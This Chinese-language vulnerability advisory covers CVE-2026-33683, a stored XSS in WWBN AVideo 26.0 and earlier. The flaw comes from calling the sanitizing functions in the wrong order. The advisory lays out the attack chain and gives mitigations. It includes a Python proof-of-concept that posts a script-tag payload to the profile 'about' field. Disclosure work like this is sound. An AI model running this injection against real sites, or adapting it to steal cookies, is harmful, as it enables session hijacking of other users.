IPBUF安全漏洞报告
English
CVE-2026-33683 CVSS 5.4 中危

CVE-2026-33683 AVideo存储型XSS漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-33683
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
WWBN AVideo

相关标签

XSSCross-Site ScriptingWWBN AVideoCWE-79Stored XSS

漏洞概述

WWBN AVideo是一个开源视频平台。在26.0及以下版本中,用户个人资料“关于”字段存在消毒操作顺序缺陷。任何注册用户都可以注入任意JavaScript,当其他用户访问其频道页面时执行。漏洞源于xss_esc()函数在strip_specific_tags()匹配危险HTML标签之前对输入进行实体编码,而输出时的html_entity_decode()反转了编码,恢复了原始恶意HTML。攻击者可利用此漏洞窃取用户凭证或执行恶意操作。

技术细节

该漏洞的核心在于输入过滤函数的调用顺序不当。正常情况下,strip_specific_tags()应先移除危险的HTML标签(如<script>),然后xss_esc()应对剩余内容进行HTML实体编码以防止XSS。然而,在受影响版本中,xss_esc()先被调用,将<script>转换为&lt;script&gt;。随后strip_specific_tags()尝试匹配原始的<script>字符串,但由于输入已被编码,匹配失败,导致危险的实体编码字符串保留下来。当数据被输出到页面时,系统调用了html_entity_decode(),将&lt;script&gt;还原为<script>,导致浏览器将其解析为可执行代码。利用方式很简单:攻击者只需注册一个账号,在个人资料的“关于”字段中插入恶意JavaScript代码(如窃取Cookie的脚本)。由于过滤机制失效,该代码会被存储在数据库中。当管理员或其他用户访问攻击者的频道页面时,恶意脚本将在其浏览器上下文中执行,从而可能劫持会话或执行未授权操作。

攻击链分析

STEP 1
1. 注册/登录
攻击者在WWBN AVideo平台上注册一个普通用户账号并登录。
STEP 2
2. 注入Payload
攻击者编辑个人资料,在“关于”字段中输入恶意JavaScript代码并保存。
STEP 3
3. 数据存储
由于服务器端的xss_esc()和strip_specific_tags()函数调用顺序错误,恶意代码未被正确过滤,被存储到数据库中。
STEP 4
4. 诱导访问
攻击者诱导管理员或其他用户访问其个人频道页面。
STEP 5
5. 执行攻击
当受害者加载页面时,服务器输出数据并调用html_entity_decode(),恶意脚本在受害者浏览器中执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-33683 # This script demonstrates how to inject a payload into the 'about' field. import requests def exploit(target_url, session_cookie): # The vulnerable endpoint is the user profile update update_url = f"{target_url}/user/profile" # Payload to be injected in the 'about' field # Due to the sanitization flaw, this script tag will be stored and executed payload = '<script>alert("CVE-2026-33683_XSS");</script>' headers = { "Cookie": f"PHPSESSID={session_cookie}" } data = { "about": payload } try: response = requests.post(update_url, headers=headers, data=data) if response.status_code == 200: print("[+] Payload injected successfully.") print(f"[+] Visit the user channel at: {target_url}/channel/attacker_user") else: print(f"[-] Failed to inject payload. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Example usage # exploit("http://localhost", "valid_session_id")

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
建议管理员暂时禁用用户编辑个人资料“关于”字段的功能,或实施严格的Web应用防火墙(WAF)规则以检测和拦截包含恶意脚本的请求。用户应避免点击来源不明的用户链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表